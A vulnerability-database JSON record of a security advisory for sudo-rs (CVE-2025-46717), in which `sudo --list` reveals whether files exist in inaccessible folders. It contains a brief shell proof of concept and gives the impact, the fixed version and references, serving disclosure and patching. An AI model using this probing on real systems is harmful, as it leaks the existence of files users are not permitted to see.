{"id":"GHSA-98cv-wqjx-wx8f","revision":"c3bc24efd16d4961b6f389a15357e248","records":[{"revision":"c3bc24efd16d4961b6f389a15357e248","observedAt":"2026-10-24T13:19:54.901+00:00","statement":{"source":"osv","id":"GHSA-98cv-wqjx-wx8f","aliases":["CVE-2025-46717"],"title":"sudo-rs Allows Low Privilege Users to Discover the Existence of Files in Inaccessible Folders","description":"### Summary\n\nUsers with no (or very limited) sudo privileges can determine whether files exists in folders that they otherwise cannot access using `sudo --list <pathname>`.\n\n### PoC\n\nAs root:\n```\n# mkdir /tmp/foo\n# chmod a-rwx /tmp/foo\n# touch /tmp/foo/secret_file\n```\nAs a user without any (or limited) sudo rights:\n```\n$ sudo --list /tmp/foo/nonexistent_file\nsudo-rs: '/tmp/foo/nonexistent_file': command not found\n$ $ sudo --list /tmp/foo/secret_file\nsudo-rs: Sorry, user eve may not run sudo on host.\n```\nI.e. the user can distinguish whether files exist.\n\n### Related\nOriginal sudo (vulnerable version tested by us: 1.9.15p5) exhibited similar behaviour for files with the executable bit set.\n\n### Impact\nUsers with local access to a machine can discover the existence/non-existence of certain files, revealing potentially sensitive information in the file names. This information can also be used in conjunction with other attacks.\n\n### Credits\nThis issue was identified by sudo-rs developer Marc Schoolderman","state":0,"publishedAt":"2025-05-13T14:08:18+00:00","modifiedAt":"2026-09-10T03:50:24.416907+00:00","affected":[{"ecosystem":"crates.io","name":"sudo-rs","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.2.6"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"LOW"}],"references":["https://github.com/trifectatechfoundation/sudo-rs/security/advisories/GHSA-98cv-wqjx-wx8f","https://nvd.nist.gov/vuln/detail/CVE-2025-46717","https://github.com/trifectatechfoundation/sudo-rs","https://github.com/trifectatechfoundation/sudo-rs/releases/tag/v0.2.6"],"sourceUrl":"https://github.com/advisories/GHSA-98cv-wqjx-wx8f","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-98cv-wqjx-wx8f","identifiers":["GHSA-98cv-wqjx-wx8f","CVE-2025-46717"]},"retained":false,"historicalAffected":[]}],"coverage":[]}